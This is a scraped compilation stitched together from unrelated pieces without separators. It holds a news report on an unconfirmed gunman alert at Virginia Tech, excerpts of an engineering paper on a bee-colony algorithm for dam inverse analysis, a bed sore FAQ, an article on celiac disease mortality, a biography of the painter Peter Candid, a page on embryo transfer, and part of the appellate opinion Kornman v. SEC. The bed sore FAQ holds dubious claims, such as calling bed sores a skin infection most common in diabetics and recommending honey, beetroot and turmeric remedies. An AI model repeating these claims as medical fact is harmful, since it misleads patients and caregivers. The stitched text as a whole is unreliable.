Please update your browser permissions to allow them. The inside track on Washington politics. *Invalid email address The inside track on Washington politics. *Invalid email address A person with a gun was reported on Virgina Tech's campus Thursday morning, according to school officials, but so far, authorities have not been able to find a gunman. The campus was on alert for almost six hours, but the alert was lifted at about 2:40 p.m. Before then, Virginia Tech was on a lockdown, and by mid-day, officials had canceled all summer school classes for the day, and asked that people stay away from campus. The university's football team delayed its first practice until later this afternoon. Despite the caution and a massive search for the purported gunman, police had not found him. The report came from three 14-year-olds attending an academic camp at the Blacksburg campus. Police said no other witnesses have come forward saying they had seen a gunman. At this point no one has been able to confirm whether or not there was an actual gun on campus, said Blacksburg Police Department spokesman Lt. Steve Taylor. Several people have been questioned, but nobody was in custody, campus police Chief Wendell Flinchum said during a press conference on campus. A number of public safety agencies, including State Police and officers from nearby police departments, have been searching the campus, the university said. Person with a gun reported near Dietrick, an alert posted at 9:37 a.m read. Stay Inside. Secure doors. Emergency personnel responding. Call 911 for help. The University also asked anyone with information to call campus police tip line at (540) 231-6411. Dietrick Hall is described as a dining center that also has a convenience store, bake shop and laundry facility, according to the university's web site. In another item posted at 10:08, the university's web site reported that: Flinchum said police so far have not found anyone matching that description. Police further questioned the three campers and deemed their information credible, Flinchum said, which triggered the initial campus alert at 9:09. Flinchum emphasized that the report police received said the suspect was carrying a handgun, not that they pointed the weapon or threatened anybody. The teenagers were attending a camp sponsored by Higher Achievement, a District-based academic organization serving middle school students from underserved areas. Higher Achievement can confirm that our scholars were on campus during the situation at Virginia Tech, Richard Tagle, CEO of Higher Achievement, said in s atatement. Our organization was visiting the university as part of our summer academic program for middle-school youth in Washington, DC. Our first priority is the safety of our scholars and staff. We have been in contact with them and we have received confirmation that everyone is safe, and are proactively reaching out to parents of students who were on campus. Sensitivity to campus safety and security issues has been heightened on the Blacksburg campus since a gunman killed 32 people and himself in April 2007. Larry Hincker, a university spokesman, said perhaps several thousand students were on campus Thursday morning for summer school, fall sports and summer camps. We really need to communicate first and investigate later, and that's what we did, Hincker said. The morning news conference was held on the steps of Burress Hall in the middle of campus, and though the school's alert asked everyone near Virginia Tech to remain inside, there were several people walking around the school's drillfield. There was also a normal amount of car traffic in Blacksburg's downtown area just off campus. Virginia Tech revamped its alert system following the 2007 shootings. A university official said Thursday more than 48,000 students and campus personnel received a text message alert about the situation, and an email alert was sent out to every student and school employee. Hincker said the school is proceeding with an abundance of caution and that people walking around campus were doing so on their own volition. We're in a new era, he said. Obviously the campus went through something terrible four years ago and the choice facing us and particularly the police departments is when you get a report, what are you going to do with the report, regardless of what the veracity may be or the ultimate conclusion might be. In our particular case, and I believe what most campuses would do, is regardless of what your intuition and experience as a public safety officer tells you, you really are forced to issue an alert. That's where we are right now. Alex Watt, 19, a sophomore from Springfield, said she and fellow students got text alerts from Va. Tech about the lockdown around 9:45 a.m. She had arrived early for a class and the building she was in – Burchard Hall – was immediately closed. She was kept in her classroom for about an hour, but then was allowed to roam around the hall. She and other students texted and called back-and-forth to get the latest information on the situation. She said the alert was unsettling, but said the she felt the building she was in was secure. We're in Blacksburg and because of the history, it makes it scarier, Watt said. Post staffers Mike E.

چکیده انگلیسی
A hybrid simplex artificial bee colony algorithm (HSABCA) which combines Nelder–Mead simplex method with artificial bee colony algorithm (ABCA) is proposed for inverse analysis problems. The proposed algorithm is applied to parameter identification of concrete dam-foundation systems. To verify the performance of HSABCA, it is compared with the basic ABCA and a real coded genetic algorithm (RCGA) on two examples: a gravity dam and an arc dam. Results show that the proposed algorithm is an efficient tool for inverse analysis and it performs much better than ABCA and RCGA on such problems.
مقدمه انگلیسی
The quantitative assessment of constitutive parameters by inverse analysis exhibits at present growing scientific interest and practical usefulness, as material models become more realistic and complex, and computational tools more and more powerful [1]. In general, forward modeling allows us to answer questions such as “what response should be expected from this distribution of material properties under these initial conditions?” Reverse problems require an answer to a question that goes in the opposite direction. Reverse analysis has been widely used in diverse fields, such as geological process modeling [2], structural damage or crack detection [3], [4] and [5], drainage system design [6], excavation support system simulation [7], parameter identification of earth-rockfill dams [8] and concrete dams [9], [10] and [11]. The Young modulus is a necessary parameter in structural analysis for the determination of the stress distributions and displacements, especially when the design of the structure is based on elasticity considerations. In a dam-foundation system, the modulus of elasticity of dam concrete is hard to be determined directly from tests due to the necessity for large specimens and testing machines [12]; the modulus of the rock is also hard to be determined because of the complicated geological situations. Inverse analysis is a powerful tool to determine the mechanical parameters of dam-foundation systems. Through inverse analysis, exact parameters of dam-foundation systems can be determined, and a precise evaluation on the safety condition of dams can be made. Several strategies have been developed for the diagnostic inverse analysis of concrete dams. A damage diagnosis approach for concrete dams by radar monitoring is proposed by Ardito et al. [10] and [13]. An overall inverse analysis method for concrete dams based on neural networks is proposed by Fedele et al. [9] and [14]. An inverse analysis method for the identification of stress states and elastic properties in concrete dams by flat-jack test is developed by Fedele and Maier [11]. In recent years, reverse analysis is mainly based on two methodologies: neural networks [8], [9] and [15] and optimization algorithms. In this paper, we focus on optimization-based inverse analysis. There are three types of optimization algorithms that have been used in reverse analysis. The first type is gradient-based direct search algorithms, such as Levenberg–Marquardt method [16], conjugate gradient method [17] and trust region method [10] and [13]. The second type is the relatively simple direct search methods making no use of gradient, such as the simplex search method [18] and [19]. The last type is intelligent global search algorithms, such as genetic algorithms [7], [20] and [21], differential evolution [22], particle swarm optimization [23] and ant colony optimization [24]. The first and the second type algorithms both have an advantage of estimating the solutions in relatively short computational time, but the results are affected by the initial values and premature convergence is likely to happen. As an alternative to the direct search algorithms, intelligent global search algorithms are being widely adopted in reverse analysis, but they have a disadvantage of being time-consuming. In this paper, parameter identification method for concrete dam-foundation systems based on statistical analysis of recorded dam displacements with a hybrid optimization algorithm is proposed. A novel artificial bee colony algorithm (ABCA) [25] inspired by honey bee foraging is adopted for inverse analysis problems. It has been demonstrated that ABCA outperforms genetic algorithm, particle swarm optimization in multivariable function optimization [26] and [27]. In order to combine the advantages of direct search methods with intelligent global optimization algorithms, a hybrid simplex artificial bee colony algorithm (HSABCA) which combines ABCA with Nelder–Mead simplex search method (NMSS) [28], [29] and [30] is proposed for inverse problems. The proposed algorithm is applied to inverse analysis of a concrete gravity dam and a concrete arc dam. In the examples, pseudo-experimental data are adopted to inverse analysis. The pseudo-experimental displacements are obtained through forward finite element analysis by setting water level and material parameters to certain values. That means no experimentally recorded dam displacements are used in the study. The result obtained by HSABCA is also compared with NMSS, ABCA and a real coded genetic algorithm (RCGA). This paper is organized as follows. Section 2 presents the theory of inverse analysis for concrete dams. Section 3 introduces ABCA. Section 4 introduces NMSS, and then HSABCA is developed. Section 5 shows the performance of NMSS, RCGA, ABCA and HSABCA on inverse analysis problems of concrete dams. Finally, conclusions are given in Section 6.
نتیجه گیری انگلیسی
A derivative-free algorithm HSABCA which combines a Nelder–Mead simplex search method and an artificial bee colony algorithm for structural inverse analysis is proposed. The new algorithm combines the local search ability of NMSS and the global search ability of ABCA. In order to verify the feasibility and the performance of the proposed algorithm, inverse analysis is carried out for identifying the Young modulus of concrete dam-foundation systems. Two examples are investigated to compare the overall search ability of HSABCA with NMSS, ABCA and RCGA. From the results it can be found that both ABCA and RCGA cannot solve the two problems very well. When the number of parameters in the problem increases, ABCA performs better than RCGA. HSABCA performs better than the other two stochastic algorithms in both numerical examples because it needs less time to get the same accuracy and higher accuracy generally can be searched. Though the convergence speed of HSABCA is not as quick as NMSS, it is more robust than NMSS because the search ability of NMSS is affected by the initial simplex seriously in the second example. Consequently, it can be concluded that HSABCA has been successfully verified as an effective method for inverse analysis of dam-foundation systems. HSABCA cannot only deal with structural inverse problems with less than or equal to four variables. It also has the potential to deal with problems with more than four variables because of the global search ability which is derived from ABCA.

What Are Bed Sores?
Bedsores or pressure ulcers are wounds to the skin and underlying tissue that are usually brought on by persistent pressure on the skin. Although they can affect anyone, they typically afflict those who are bedridden or spend a lot of time in a chair or wheelchair.
Similarly, What is the cause of bed sores?
Why do bedsores develop? When the skin’s blood flow is interrupted for longer than two to three hours, a bedsore forms. The bedsore begins as a red, painful patch that eventually turns purple as the skin dies. If the skin is not treated, it may crack open, allowing an infection to spread.
Also, it is asked, What do bed sore look like?
Symptoms: The sore has a crater-like appearance and may smell unpleasant. Infection-related symptoms include red edges, pus, stench, fever, and/or drainage. If the tissue inside or around the sore has died, it is black.
Secondly, How serious are bed sores?
They frequently result in inhabitants experiencing excruciating pain, infections, invasive procedures, or even death. A pressure ulcer at stage 4 could be an undesirable indicator of nursing home neglect. If nursing home personnel neglects to treat earlier-stage sores, residents may develop these sores.
Also, How do you treat bed sores?
Every time the dressing is changed, wash exposed wounds with water or a saltwater (saline) solution. placing a bandage on. By keeping the wound moist, a bandage expedites healing. Additionally, it protects against infection and keeps the skin surrounding it dry.
People also ask, Can bedsores be cured?
Bed sores may take hours or days to form. While most sores recover with therapy, some never fully recover. You can take action to heal bedsores and prevent them from developing.
Related Questions and Answers
Are bed sores contagious?
Although bed sores are not communicable, they should be handled carefully if pus or a bacterial infection are present.
What do Stage 1 bed sores look like?
A red skin patch that does not blanch that generally appears over a bony location, such as the heel or tailbone, is referred to as a Stage 1 bed sore. The term “blanching” refers to the skin becoming pale or white as a result of pressure. “Non-blanchable” skin is skin that does not blanch.
How long does it take a bed sore to heal?
The healing time for pressure ulcers, often referred to as bedsores or decubitus ulcers, can range from three days to two years. The extent of the sore and the treatments used will determine how quickly a pressure ulcer heals.
How do you heal bed sores fast?
How to Treat a Pressure Sore You can gently wash the area with mild soap and water to treat a stage I sore. To get rid of loose, dead tissue, stage II pressure sores should be washed with a salt water (saline) treatment. Use iodine or hydrogen peroxide-free cleaners sparingly. Keep a specific dressing on the sore to keep it covered.
Does bed sores mean death?
Every day, bed sores result in deaths. It’s like an open door for bacteria and infection when a bedsore is in Stage 3 or Stage 4. Infection that has already entered the wound causes sepsis and septic shock, which are followed by organ failure and death. However, having bedsores does not always mean you will die.
Where do bed sores most commonly occur?
Heels. The majority of comatose and intubated patients rest on their backs, pressing their heels into the mattress. Bedsores in the heels can also occur in people who are restricted to wheelchairs. Despite having a little more padding than the ankles, the heels are nevertheless susceptible to bedsores.
Can bedsores turn into sepsis?
Residents who are bedridden or disabled are more prone to bed sores or skin ulcers. Antibiotics, pressure relief in the affected areas, and wound cleansing and covering are some therapies. These wounds can blister, bleed, and infect if left untreated. Sepsis may eventually result from the infection.
What is the best home remedy for bed sores?
Apply aloe vera to treat bed sores, stop them from coming back, and stop burning and itchy feelings. As a disinfectant, use saline water to keep the region clean. To hydrate the region and stop itching and redness, combine honey and beetroot. Use turmeric to rapidly ease discomfort and bring relief.
What causes bed sores and how can they be prevented?
1) Moisture: Excessive moisture over an extended length of time can create maceration of the skin and make it more vulnerable to damage from pressure and other factors. Even in circumstances when there is no external pressure, moisture can sometimes be the main factor in ulceration.
Is Vaseline good for bed sores?
Any light ointment, such as petroleum jelly or antibiotic cream, can be used (Vaseline). This will shield the sore from dust, filth, flies, and other insects while also preventing the skin from drying up. Avoid massaging or rubbing the skin near the pressure sore.
What does a stage 2 bed sore look like?
At stage 2, the skin cracks open, deteriorates, or develops an ulcer, which is typically sensitive and uncomfortable. The pain deepens into the skin’s deeper layers. It may resemble a skin scrape (abrasion), a blister, or a small crater. This stage can occasionally resemble a blister that is oozing clear fluid.
Which ointment is best for bed sores?
The best options can be those that are hydrocolloid, antimicrobial, or include alginic acid. Online shopping is available for dressings. Apply creams topically: Barrier creams can shield harmed or fragile skin, while antibacterial creams can help fight an illness.
What does it mean when a bed sore turns black?
In a stage four bed sore, the skin may develop black and display indications of infection. Eschar can appear everywhere on the body, but the feet are particularly prone to it. Eschar may develop on the top or bottom of the sore. Eschar-bordering skin may be irritated, inflamed, or sensitive.
What antibiotics treat bed sores?
A naturally occurring beta-lactam that resembles the penicillin nucleus structurally is amoxicillin-potassium clavulanate. Since the beta-lactam/beta-lactamase antibiotic class has shown to have broad-spectrum activity, infected pressure ulcers are commonly treated with it.
Who is most at risk of developing pressure sores?
Who is most susceptible to developing pressure ulcers? being older than 70 – Senior citizens are more likely to experience mobility issues and skin deterioration due to dehydration and other conditions. being bedridden due to an illness or following surgery. obesity, the inability to move part or all of the body (paralysis).
How quickly do bedsores develop?
When lying or sitting in the same position, many ulcers start to form in as little as one week. Skin ulcers caused by bed sores typically progress to dangerous stages in less than a month of being confined to a chair or bed. Pressure and irritation at one particular site on the body over time can result in bedsores on the skin.
How do I prevent bed sores on my butt?
Bed placement, padding, and turning Use a regular routine for turning during the night. To protect bony areas, use cushions and foam pads rather than folded towels or blankets. Avoid elevating the head of your bed unless your doctor instructs you to since it can place too much pressure on your buttocks and lower back.
Can bed sores turn into gangrene?
Yes, gangrene can form if bedsores are not treated right away. Bedsores pose the greatest risk of gangrene and other illnesses. Staff members in hospitals and nursing homes must take precautions to avoid bedsores, be aware of the warning indications of these sores, and act immediately if they do occur.
Can a pressure sore cause death?
In conclusion, pressure ulcers are thought to contribute to thousands of fatalities each year in the United States due to fatal septic infections. Blacks experience greater death rates than people of other races or ethnicities, and incapacitating chronic and neurodegenerative illnesses are frequent comorbidities.
How do hospitals prevent bed sores?
By making it simple for the patient to change over or for their caregiver to do their duties, hospital beds can help avoid bed sores by reducing continual pressure on specific portions of the body. Health professionals advise anyone who is bedridden to change their position and posture every two hours.
What causes pressure sores on buttocks?
Long periods of sitting or lying still might result in pressure sores. It’s crucial to understand that a pressure sore can develop quickly. In actuality, if you remain in one place for even two hours, a Stage 1 sore may develop. Your body experiences pressure in some places as a result.
What happens when a bedsore tunnels?
In essence, a tunneling bedsore is a type of tunneling wound. A wound that penetrates deep into the body and curves through layers of tissue is referred to as a tunneling wound. This type of wound is challenging to cure because it creates a curved tunnel. Tunnel wounds frequently result from an infection or another wound-related problem.
What does a stage 4 wound look like?
Patients with bedsores in stage 4 could have: Darkened, discolored skin. deeper tissues, tendons, ligaments, muscles, and bone that have been exposed. Blisters, red margins, pus, odor, heat, and/or drainage close to the sore are indications of infection.
Can you put antibiotic ointment on bed sores?
For the treatment of pressure ulcers, topical antiseptic or antimicrobial (antibiotic) lotions and ointments are typically not advised. But to protect skin that has been harmed or irritated by incontinence, barrier creams can be necessary.
How often should bedsores be cleaned?
It’s crucial to keep your bed sores clean to stop them from spreading an infection. Stage I bed sores can be gently cleaned with soap and water. However, every time you change the dressing, you must clean the sore where the skin has been broken with saline solution.
Conclusion
Bed sores are a type of skin infection that can happen when someone is in bed for an extended period of time. They are most common in people with diabetes. These infections usually start as red, swollen areas on the surface of the skin and then progress to ulcers that may bleed.

Can Celiac Disease Cause Early Death?
When you've just been told you've got celiac disease, a serious autoimmune condition, it's common (and normal!) to question the condition's potential effects on your lifespan. In the vast majority of cases, celiac disease is not fatal in the way we normally think of fatal diseases—it won't progress and ultimately kill you.
However, the news when it comes to celiac disease and death rates is a bit mixed: some studies, but not all, show people are at risk of dying early from other causes when they have celiac.
Still, there's some good news, too: at least one study indicates that people who are more careful in following the gluten-free diet may have a lower risk for early death. That shows you there's something proactive you may be able to do to improve your health and your longevity.
Here's what we know (and what we don't know) about your risk of early death when you have celiac disease.
Celiac Disease and Mortality Risk
A large research project that combined data from 17 different clinical studies concluded that people with celiac disease—including those diagnosed through an endoscopy and those diagnosed simply with positive celiac blood tests—were at a higher risk of early death from all causes, especially from non-Hodgkin lymphoma.
Celiac disease that doesn't respond to the gluten-free diet can progress to a particularly deadly type of lymphoma, so the finding that celiacs have a much higher-than-normal death rate from lymphoma isn't surprising. Overall, the risk of dying from any cause was only slightly higher than normal—but it was higher.
Generally speaking, people whose celiac is severe enough to put them in the hospital seem to fare worse overall
A Swedish study published in the Archives of Internal Medicine found that, among 10,032 people hospitalized for celiac disease, there was a two-fold increased risk of early death compared to the general population.
According to the researcher, those hospitalized for celiac alone had a 1.4-fold increased risk of early death. The risks were highest in those hospitalized with additional diseases, including non-Hodgkin lymphoma, cancer of the small intestine, autoimmune diseases, allergic disorders such as asthma, inflammatory bowel diseases, diabetes, tuberculosis, pneumonia, and nephritis (a type of kidney disorder).
The researchers noted that this increased death risk may be due to reduced absorption of important nutrients, such as vitamin A and vitamin E. Still, when evaluating the results of this particular study, keep in mind that these people were much sicker than most people are at the time of diagnosis.
Interestingly, the study also found that babies and toddlers hospitalized with celiac disease before age two had a reduced death risk, possibly indicating a beneficial effect of starting the gluten-free diet very early.
Benefits of a Gluten-Free Diet
Not all the studies contained bad news. In fact, two contained hints that following a very strict gluten-free diet could significantly reduce your risk of early death.
For example, one study found a lower-than-expected death level in Finnish patients who had been diagnosed with dermatitis herpetiformis, a gluten-induced skin rash that's closely associated with celiac disease. The number of deaths should have totaled 110 over the course of the 39-year study; instead, only 77 people died.
In the study, most of those diagnosed with dermatitis herpetiformis also had villous atrophy (which means they had celiac disease in addition to their dermatitis herpetiformis).
There was one major difference in this study population when compared to other research: some 97.7% of those included adhered strictly to the gluten-free diet, possibly because a super-strict diet is the only way to control the unbearable itching of dermatitis herpetiformis long-term. Other studies have found far lower rates of diet adherence—ranging from 42% to 91%—in people with celiac disease (but not necessarily dermatitis herpetiformis).
The study didn't conclude that a strict gluten-free diet lowers death rates in people with celiac and dermatitis herpetiformis—it wasn't set up to answer that question. However, the authors speculated that a stricter diet may have played a role (and noted that the group's 97.7% diet adherence rate was exceptionally high).
Dietary Adherence and Health
Another study—this one from the Mayo Clinic College of Medicine—may indirectly back up the earlier hypothesis.
The Mayo research looked at 381 adults with the biopsy-proven celiac disease and found that those who were extremely careless or who cheated on their gluten-free diets had ongoing intestinal damage. Those whose small intestines had recovered (as confirmed by testing) had a lower death rate.
Adhering to a gluten-free is rarely an easy task. According to a study published in Hospital Nutrition, as many as 90 percent of adults with celiac disease stray from the dietary restrictions, while 58 percent consume foods without knowing if they contain gluten.
Cheating on the diet wasn't the only factor involved in ongoing damage and a higher death rate: severe diarrhea and weight loss coupled with more severe intestinal damage at the time of diagnosis also appeared to play a role. In addition, the association between confirmed intestinal recovery and a reduced rate of death was only a weak one, the study reported.
Nonetheless, the researchers noted that ingestion of trace gluten—either through intentional cheating on the diet or because of gluten cross-contamination in supposedly "gluten-free" foods—could be to blame for ongoing intestinal damage in some people.
A Word from Verywell
Unfortunately, we can't conclude too much from these studies—there's a lot more research to be done before we have firm answers on celiacs' death risks and how to improve our odds.
The studies do show a higher rate of early death among people with celiac disease, especially among celiacs who were particularly sick at diagnosis. Non-Hodgkin lymphoma, autoimmune diseases, and infections such as pneumonia accounted for many of those early deaths.
However, one or two studies hint that sticking to a super-strict gluten-free diet (strict enough to heal your intestinal villi or to abolish your dermatitis herpetiformis) may lower your early death risk substantially. Although the studies are far from definitive, this counts as one more good reason to faithfully follow your diet.

Peter Candid
Peter de Witte, known in Italy as Pietro Candido and in Bavaria as Peter Candid (c. 1548 – 1628) was a Flemish-born Mannerist painter, tapestry designer and draughtsman active in Italy and Bavaria. He was an artist at the Medici court in Florence and at the Bavarian court of Duke William V and his successor Maximilian I in Munich.
Life
Candid was born in Bruges and moved with his parents to Florence at the age of 10. His father Elias was a tapestry weaver who had been hired by the newly opened Medici weaving workshop, the Arazzeria Medicea, which was led by the Flemish master Jan Rost. The original Flemish family name was 'de Witte'. The word 'witte' means 'white' in Flemish and that is why the family adopted the Italian family name' Candido' in Italy, an Italian word which also means 'white'. Peter would change his family name to 'Candid' after he moved to Germany.
Peter started his apprenticeship in Italy in the early 1560s under an unknown master. The earliest known record of Candid's work as an artist is in relation to payment for a fresco made in Florence in 1569. He is first mentioned as a member of the 'Accademia delle Arti del Disegno' in 1576. The Accademia delle Arti del Disegno was a prestigious academy of artists in Florence whose members have included Michelangelo Buonarroti, Lazzaro Donati, Agnolo Bronzino, Benvenuto Cellini and others. Beginning in 1578 he painted a series of three altarpieces for churches in Volterra, including an Adoration of the Shepherds (1580) and a Lamentation over the Dead Christ (1585–86, Pinacoteca Civica). The 16th century Flemish biographer Karel van Mander who knew Candid when he visited Italy, recounted that Candid worked with Giorgio Vasari on the Sala Regia in the Vatican and on the cupola of the Florence Cathedral. After working in Rome at the Sala Regia in the years 1582 and 1583, he returned to Florence.
By 1586 he was called to the Ducal court of Munich upon the recommendation of the sculptor Giambologna, another Flemish artist working in Italy with whom Candid was closely associated. He was first court painter to Duke William V of Bavaria and later Maximilian I of Bavaria. For the Duke and Elector Maximilian, Candid worked on several fresco cycles in numerous buildings, including the Antiquarium and the State Rooms of the ducal palace Munich Residenz and the State Room in the Schleissheim Palace and made the designs for the ceilings of the Goldener Saal in the Augsburg Town Hall. In the period 1600 to 1628 he was the leading artist in Munich. He was also active as an art dealer and had business dealings with Philipp Hainhofer, a merchant, banker, diplomat and art collector in Augsburg remembered, among other things, for his curiosity cabinets.
He married and had five children, including a son Wilhelm (fl 1613–25), who was a painter but after 1625 became a court official. His daughter married the engraver Filips Sadeler in 1624.
He was the teacher of Johann Ulrich Loth. He died in Munich.
General
Peter Candid was an extremely versatile artist who was not only a painter but also a designer of tapestries, prints and sculptures. His pictorial work ranges from history paintings, portraits, mythological scenes and allegories. He created large altarpieces as well as complex decorative projects. He was an oil painter as well as a fresco artist. He is credited with introducing Italian fresco painting as a preferred medium in Bavaria. The iconography, which he developed, exerted an influence well into the 18th century. He completed many fresco's and oil paintings in Italy and also made tapestry designs and other works for Cosimo I de' Medici, Grand Duke of Tuscany. His style in Florence was influenced by the school of Michelangelo, although he was closer to Bronzino and Alessandro Allori than to Vasari. His work also shows the influence of the Flemish tradition.
In Munich he initially worked as part of a team of Italian artists under the direction of the Dutch-Italian painter Friedrich Sustris, who had also been in Florence. He realised frescoes after Sustris' designs for the court. He also produced many altarpieces. He became more autonomous after Sustris died and Maximilian I of Bavaria had ascended the throne at the end of the century. Candid further was responsible for all interior paintings at the new buildings added by Duke Maximilian to his palaces and continued to realise altar pieces. He executed small paintings on copper panels on religious, mythological and allegorical themes in a Mannerist style.
In his later works he worked in a style transitory from the Late Renaissance to the early Baroque. This is evident in the Assumption of Mary, the altarpiece for the Munich Frauenkirche completed in 1620.
Tapestry designer
Peter Candid was an important designer for the weaving workshop which had been set up by Duke Maximilian. It was managed by the Flemish master weaver Hans van der Biest. Van der Biest had been invited from Flanders by the Duke to set up a tapestry workshop with craftsmen from the Low Countries in 1604. He was given a large stipend and funds to visit the Southern Netherlands to source materials and recruit weaving professionals. The tapestries to be produced were principally intended to decorate the Munich Residenz, the royal palace of the Duke in Munich. Despite its modest size of about 20 weavers the workshop produced tapestries of an excellent quality with vibrant colours, dynamic scenes and entertaining details. The workshop stayed in operation until 1615.
Candid created cartons for this workshop. From these were woven three series of tapestries made up of about 50 hangings worked through with gold. The tapestries were a set of 12 Grotesques, 11 scenes from the Story of Otto von Wittelsbach, the founder of the House of Wittelsbach, and 18 tapestries depicting The Months, The Seasons and Day and Night. He also designed but did not make the cartons for a series of 12 tapestries depicting biblical and mythological scenes. The cartons were preserved and were used about 100 years later by the engraver Carl Gustav Amling for a series of prints. Candid personally intervened in the weaving of the tapestries and visited the workshop to give the weavers guidance. The tapestries woven in Munich from Candid's designs were among the finest and most innovative products of the early seventeenth-century European tapestry industry.

Can Embryos Fall Out After Transfer?
Embryos are tiny, delicate things. As such, the transfer process is often conducted with great caution and preparation. This caution can often cause surrogates to be quite concerned about how to best protect the embryo they’ve been entrusted with carrying. It is normal for intended parents to feel some degree of concern, too. In fact, many will raise the question of how secure the embryo is once placed in the uterus, and if it’s possible that the embryo could “fall out.”
The fear is that walking, jumping, showering, or even urinating could cause the embryo to simply slip out of the uterus. Doctors often prescribe bedrest following the transfer in order to allow the embryo time to get settled and implant, so to many it makes sense that undue movement could cause the embryo to become dislodged and slip out. Rest assured that this is highly unlikely. The idea has merit, in theory, but is not plausible in reality.
The uterus is a muscular organ. This means that it stays contracted and tight in its natural state. While the area inside of the uterus is called a “cavity”, it is not a literal empty space. The transferred embryo does not have open space in which to move freely or roll around. Nearly all IVF doctors will require the surrogate’s uterine lining to be thick enough for the walls to touch in the middle before proceeding with a transfer. This creates an environment in which the thick, sticky endometrial lining leaves no empty space. When the embryo is placed between the uterine walls and the muscle contracts, it will create a secure place for the embryo to bury itself deep within that thick lining and begin to grow.
Visualize placing a poppy seed in the crease of your elbow, and then folding your arm shut tightly by using your muscle. Now wiggle that arm as hard as you can. No matter how hard you try, that poppy seed will not fly out. An implanted embryo inside of a flexed uterus is much the same.
No reasonable external physical activity, be it jumping, rolling over in bed, walking, or running can cause a healthy receptive embryo to become dislodged once it has implanted into the endometrial lining. The bedrest period is meant to help the surrogate relax and encourage the embryo to implant and bury itself within the endometrial lining. Different doctors have different protocols, and surrogates will adhere to the guidelines they are given, but the science will remain constant regardless of the protocol. Once that embryo is implanted, it is highly unlikely for it to dislodge.

Gary M. KORNMAN, Petitioner v. SECURITIES AND EXCHANGE COMMISSION, Respondent.
No. 09-1074.
United States Court of Appeals, District of Columbia Circuit.
Argued Oct. 22, 2009.
Decided Jan. 15, 2010.
Barry S. Pollack argued the cause and filed the briefs for petitioner. Jeffrey M. Karp entered an appearance.
Dominick V. Freda, Senior Counsel, Securities and Exchange Commission, argued the cause for respondent. With him on the brief was David M. Becker, General Counsel, Jacob H. Stillman, Solicitor, and Randall W. Quinn, Assistant General Counsel. William K. Shirey II, Counsel, entered an appearance.
Before: ROGERS, GARLAND and KAVANAUGH, Circuit Judges.
Opinion for the Court by Circuit Judge ROGERS.
ROGERS, Circuit Judge:
The Securities and Exchange Commission permanently barred Gary M. Kornman from association with any broker, dealer, or investment adviser pursuant to section 15(b) of the Securities and Exchange Act of 1934 and section 203(f) of the Investment Advisers Act of 1940. Kornman challenges the Commission’s decision to bar his association as an investment adviser on two principal grounds: first, there was not substantial evidence in the record to support the finding that he was an investment adviser at the time of the “alleged misconduct,” and, second, the Commission abused its discretion by giving inadequate consideration to mitigating factors and to whether lesser sanctions would serve the public interest. The court’s review of the Commission’s remedial decisions is deferential, see Horning v. SEC, 570 F.3d 337, 343 (D.C.Cir.2009), and we deny the petition.
I.
In December 2006, Kornman was indicted in the Northern District of Texas, on two counts of securities fraud involving alleged insider trading, one count of providing false statements to the Commission, and one count of obstruction of justice. He entered a plea to one count of making a false statement in violation of 18 U.S.C. § 1001, for which he could have been sentenced to five years’ imprisonment, followed by three years’ supervised release, and ordered to pay a $250,000 fine, to make restitution, and to pay any costs of incarceration and supervision. As part of his plea agreement Kornman stipulated in a Factual Resume that during a telephone conversation with Commission investigators on October 29, 2003, he falsely stated that he did not know who possessed trading authority over the brokerage account for a hedge fund through which he conducted trading activity in publicly traded stock. He further stipulated that he “knew that he personally possessed [that] authority.” Factual Resume 2. His stipulation continued: “In addition, the defendant made the statement intentionally, knowing that it was false. Further, the statement was material. Finally, the defendant made the false statement for the purpose of misleading the Securities and Exchange Commission in its investigation into his trading activity.” Id.
On July 11, 2007, the district court sentenced Kornman to two years’ supervised probation and ordered him to pay a fine of $143,465, the amount the government claimed was unjust enrichment from insider trading, along with a $100 special assessment. The district court dismissed the remaining counts upon motion of the United States.
On July 30, 2007, the Commission instituted administrative proceedings based on three allegations by the Division of Enforcement (“Division”). In response, Kornman admitted: he owned an ownership interest in Heritage Security Corporation and was a registered representative of it; he held Series 6 and 63 securities licenses; and he controlled a limited liability company and had participated in trades for “two hedge-type funds.” Answer to Corrected Order Instituting Administrative Proceedings ¶ 6. He also admitted pleading guilty to making “a single false statement,” and that “a factual resume accompanied his plea agreement, the content of which speaks for itself.” Id. at ¶ 8. He denied, however, “any implication that his statement to [the Commission] attorneys [during the October 29, 2003 telephone call] interfered with their investigation or otherwise affected any investor.” Id. Additionally, he argued that mitigating factors required rejection in whole or in part of the request for relief and raised various affirmative defenses, including double jeopardy.
The Division moved for summary disposition pursuant to Rule 250 of the Commission’s Rules of Practice, 17 C.F.R. § 201.250. It attached eleven exhibits to the motion relating to Kornman’s business associations and his criminal conviction. Citing Commission precedent that summary disposition was well suited to proceedings based on a respondent’s criminal conviction, particularly in light of Commission precedent “not permit[ting] criminal convictions to be collaterally attacked in its administrative proceedings,” Jose P. Zollino, Release No. 308, 2006 WL 507940 at *3 (Mar. 2, 2006), the Division argued that a permanent bar on association should be imposed in light of Kornman’s admissions of his association with the Heritage Security Corporation, a broker-dealer, and of his control of Heritage Advisory Group, a limited liability company that managed “two hedge-type funds,” and the evidence the hedge funds were in good standing through at least June 9, 2005. The Division argued that the only reasonable conclusion to be drawn from the evidence was that Kornman continued to act as a broker-dealer through the Heritage Security Corporation and as an investment adviser, for compensation, through his association with the Heritage Advisory Group at the time of the October 29, 2003 telephone conversation with Commission investigators when he falsely denied knowing who managed one of the hedge fund portfolios. Consistent with the factors set forth in Steadman v. SEC, 603 F.2d 1126, 1140 (5th Cir.1979), the Division argued that in view of his conviction it was in the public interest to impose a permanent bar.
Kornman filed an opposition. He argued that he had a statutory right to a hearing and that discovery was necessary regarding the conduct of the Commission staff involved in the October 29, 2003 telephone call. He asserted that he was no longer associated with a broker or dealer at the time of his 2007 conviction and that he was no longer acting as or associated with an investment adviser for compensation at the time of the telephone conversation. He also argued, in view of evidence in mitigation, that the Division had failed to show that no lesser sanction than a permanent bar would satisfy the public interest. Kornman attached various documents to his opposition, including a partial transcript of the October 29, 2003 telephone call and letters attesting to his good character. He also attached his affidavit admitting the underlying conduct, expressing regret for his conduct, accepting “full responsibility for the misconduct during the telephone call,” and promising “not [to] repeat anything of the sort in the future,” Kornman Aff. ¶¶ 8-15. The Division responded that Kornman’s requests for discovery to present mitigating circumstances were irrelevant and sought to relitigate facts previously established in the criminal record, and that his ethical attacks on the Commission investigators were baseless and inaccurate, as evidenced in the complete transcript of the telephone call, which the Division attached as Exhibit 12.
